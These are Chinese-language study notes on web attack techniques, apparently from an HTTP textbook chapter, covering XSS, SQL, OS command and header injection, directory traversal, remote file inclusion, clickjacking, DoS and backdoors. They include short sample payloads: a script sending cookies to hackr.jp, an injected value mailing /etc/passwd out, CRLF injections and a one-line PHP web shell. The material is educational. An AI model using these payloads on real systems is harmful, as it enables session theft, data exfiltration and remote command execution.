# 第11章 Web的攻击技术
# 1. 针对Web的攻击技术
简单的HTTP协议本身并不存在安全性问题,因此协议几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。
# 1.1 HTTP不具备必要的安全功能
几乎现今所有的Web网站都会使用会话管理、加密处理等安全性方面的功能,而HTTP协议内并不具备这些功能。
# 1.2 在客户端即可篡改请求
在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入,若这时Web应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限。
# 1.3 针对Web应用的攻击模式
分为主动攻击和被动攻击。
# 以服务器为目标的主动攻击
主动攻击是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。主动攻击模式具有代表性的有SQL注入攻击和OS命令注入攻击
# 以服务器为目标的被动攻击
被动攻击是指利用圈套策略执行攻击代码的攻击模式。
步骤1:攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
步骤2:当用户中招后,用户的浏览器或邮件客户端会触发这个陷阱。
步骤3:中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。
步骤4:执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登录状态中的用户权限遭到恶意滥用。
被动攻击具有代表的攻击是跨站脚本攻击和跨站点请求伪造。
# 2. 因输出值转义不完全引发的安全漏洞
实施Web应用的安全对策可大致分为以下两部分:
- 客户端的验证
- Web应用端(服务器端)的验证
输入值验证
输出值转义
由于客户端允许篡改数据或关闭js,不适合将JavaScript验证作为安全的防范对策。保留客户端验证只是为了尽早辨识输入错误,起到提高UI体验的作用。
从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。
# 2.1 跨站脚本攻击(XSS,Cross-Site Scripting)
跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或Js进行的一种攻击。动态创建的HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
有以下影响:
- 利用虚假输入表单骗取用户个人信息
- 利用脚本窃取用户的Cookie值,被害者在不知情情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片
# 跨站脚本案例
在动态生成的HTML处发生
此时,浏览器会将用户输入的<s>解析成HTML标签,然后显示删除线。如果换成js就有可能暴露信息。XSS是攻击者利用预先设置的陷阱触发的被动攻击
创建以下代码的URL,攻击者隐藏植入事先准备好的欺诈邮件中或Web页面中,诱使用户去点击该URL。
浏览器打开URI后,直观感觉没发生任何变化,但设置好的脚本确偷偷开始运行了。当用户在表单内输入ID和密码之后,就会直接发送到攻击者网站,导致个人信息被窃取。
# 对用户Cookie的窃取攻击
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie信息。
<script src=http://hackr.jp/xss.js></script>
//xss.js
var content=escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
2
3
4
5
6
有安全漏洞的Web应用上执行上面这段Js代码,即可访问到该Web应用所在域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站(hackr.jp),记录在它的登录日志中。
# 2.2 SQL注入攻击
SQL注入是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。会导致信息的泄露。
如果在调用SQL语句的方式上存在疏漏,就有可能执行被恶意注入非法SQL语句。
造成的影响:
- 非法查看或篡改数据库内的数据
- 规避认证
- 执行和数据库服务器业务关联的程序等
SQL是用来操作关系型数据库管理系统的数据库语言,可进行操作数据或定义数据等。
# SQL注入攻击案例
SQL语句中的--之后全视为注释。
SQL注入攻击是攻击者将SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。
# 2.3 OS命令注入攻击
OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。
OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。
# OS注入攻击案例
攻击者将下面的值作为邮件地址:
;cat /etc/passwd | mail hack@example.jp
程序接收该值,构成以下的命令组合。
| /usr/sbin/sendmail ;cat /etc/passwd | mail hack@example.jp
攻击者的输入值中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。
# 2.4 HTTP首部注入攻击
HTTP首部注入攻击是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击,属于被动攻击。
向首部主体内添加内容的攻击称为HTTP响应截断攻击。
造成的影响:
- 设置任何Cookie信息
- 重定向至任意URL
- 显示任意的主体(HTTP响应截断攻击)
# HTTP首部注入攻击案例
攻击者以下面的内容替换之前的类别ID后发送请求:
101%0D&0ASet-Cookie:+SID=123456789
%0D&0A代表HTTP报文中的换行符,然后是可强制将攻击者网站的会话ID设置成SID=123456789的Set-Cookie首部字段。因此攻击者可指定修改任意的Cookie信息。通过和会话固定攻击攻击组合,攻击者可伪装成用户。
攻击者输入的%0D&0A,本来应该属于首部字段Location的查询部分,但经过解析后,变成了换行符,结果插入了新的首部字段。这样,攻击者可以在响应中插入任意的首部字段。
# HTTP响应截断攻击
HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了。这样就能显示伪造的主体,达到攻击目的。
%0D%0A%0D%0A<HTML><HEAD><TITLE>kdkdskdkfdkk
注入后返回结果得到以下这种响应:
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的Web页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。
另外,滥用HTTP/1.1中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断的浏览被替换掉的Web网页。
# 2.5 邮件首部注入攻击
邮件首部注入是指Web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。
bob@hacker.jp%0D%0ABcc:user@example.com
一旦咨询表单所在的Web应用接收了这个换行符,就可能实现对Bcc邮件地址的追加发送。
bob@hacker.jp%0D%0A%0D%0ATest Message
两个连续的换行符就有可能篡改邮件文本内容并发送
# 2.6 目录遍历攻击
目录遍历攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也被称为路径遍历攻击。
用户可使用../等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录都可被访问到。就有可能非法浏览、篡改、或删除Web服务器上的文件。应该关闭指定对任意文件名的访问权限。
# 目录遍历攻击案例
读取指定的文件:
http://example.com/red.php?log=0401.log
攻击者设置如下查询字段后发出请求:
http://example.com/red.php?../../etc/passwd
# 2.7 远程文件包含漏洞
远程文件的包含漏洞是指当部分脚本内容需要从其他文件读取时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取后,就可运行任意脚本的一种攻击。
这主要是PHP存在的安全漏洞。
# 远程文件包含漏洞的攻击案例
http://example.com/foo.php?mod=news.php
//foo.php对应脚本代码如下
$modname=$_GET['mod'];
include($modname);
2
3
4
5
攻击者指定如下请求:
http://example.com/foo.php?mod=http://hacker.jp/cmd.php&cmd=ls
//cmd.php对应脚本代码如下
<? system($_GET['cmd']) ?>
2
3
4
假设Web服务器(example.com)的include能引入外部服务器的URL,那就会读入攻击者在外部服务器上事先准备的URL(http://hackr.jp/cmd.php)。结果,通过system函数就能在Web服务器上执行查询字段指定的OS命令了。
# 3. 因设置或设计上的缺陷引发的安全漏洞
因设置或设计上的缺陷引发的安全漏洞是指,错误设置Web服务器,或是由设计上的一些问题引起的安全漏洞。
# 3.1 强制浏览
从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
造成的影响:
- 泄露顾客的个人信息等重要情报
- 泄露原本需要具有访问权限的用户才可查阅的信息内容
- 泄露未外连到外界的文件
文件目录一览
通过制定文件目录名称,可看见目录中所有文件名
容易被推测的文件名和目录名
文件名称容易被推测
备份文件
自动生成的备份文件无执行权限
经认证才可显示的文件
直接通过URL访问原本必须经过认证才能在Web页面上使用的文件
# 3.2 不正确的错误信息处理
Web应用的错误信息内包含对攻击者有用的信息。
- Web应用抛出的错误信息
- 数据库等系统抛出的错误信息
各系统应对详细的错误信息进行抑制设定,或使用自定义错误消息,避免某些错误信息给攻击者以启发。
# 3.3 开放重定向
开发重定向是一种对指定的任意URL作重定向跳转的功能。假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导至那个网站。
http://example.com/?redirect=http://www.xx.jp
攻击者把重定向指定的参数改写为已设好的网站:
http://example.com/?redirect=http://www.hackr.jp
开放重定向功能,有可能被攻击者选中并用来作为钓鱼攻击的跳板。
# 4. 因会话管理疏忽引发的安全漏洞
会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取等后果。
# 4.1 会话劫持
会话劫持是指攻击者通过某些手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。
攻击者可获得会话ID的途径:
- 通过非正规的生成方法推测会话ID
- 通过窃听或XSS攻击盗取会话ID
- 通过会话固定攻击强行获取会话ID
# 4.2 会话固定攻击
会话固定攻击攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。
# 4.3 跨站点请求伪造(CSRF)
CSRF攻击是指攻击者通过设置好陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
造成的影响:
- 利用已通过认证的用户权限更新设定信息等
- 利用已通过认证的用户权限购买商品
- 利用已通过认证的用户权限在留言板上发表言论
# 5. 其他安全漏洞
# 5.1 密码破解
密码破解攻击即算出密码,突破认证。
密码破解有以下两种手段:
- 通过网络的密码试错
- 对已加密密码的破解
密码试错有两种方式:
- 穷举法
- 字典攻击
字典攻击是指利用事先收集好的候选密码,枚举字典中的密码,尝试通过认证的一种攻击手法。
从加密数据中导出明文有以下方法:
- 通过穷举法、字典攻击进行类推
- 彩虹表
- 拿到密钥
- 加密算法漏洞
# 5.2 点击劫持
点击劫持是指利用透明的按钮或链接做成陷阱,覆盖在Web页面上。然后诱使用户在不知情的情况下点击的一种攻击手段。
iframe页面中使用透明可点击按钮示例:
<iframe id="target" src="http://sns.example.jp/leave" style="opacity:0;filter:alpha(opacity=0)"></iframe>
<button style="position:absolute;top:100;left:100;z-index:-1;">PLAY</button>
2
由于SNS网站作为透明层覆盖目标网站,SNS网站上处于登录状态的用户访问这个钓鱼网站并点击页面上的PLAY按钮后,等同于点击了SNS网站的注销按钮。
# 5.3 DoS攻击
DoS攻击是一种让运行中的服务呈现停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS攻击的对象不仅限Web网站,还包括网络设备及服务器等。
主要有两种攻击方式:
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态
- 通过攻击安全漏洞使服务停止
集中利用访问请求的DoS攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止DoS攻击。
多台计算机发起的DoS攻击称为DDoS攻击。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。
# 5.4 后门程序
指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后面程序就能够使用原本受限的功能。
- 开发阶段作为Debug调用的后门程序
- 开发者为了自身利益植入的后门程序
- 攻击者通过某种方法设置的后门程序
可通过监视进程和通信状态发现被植入的后门程序。但设定在Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现。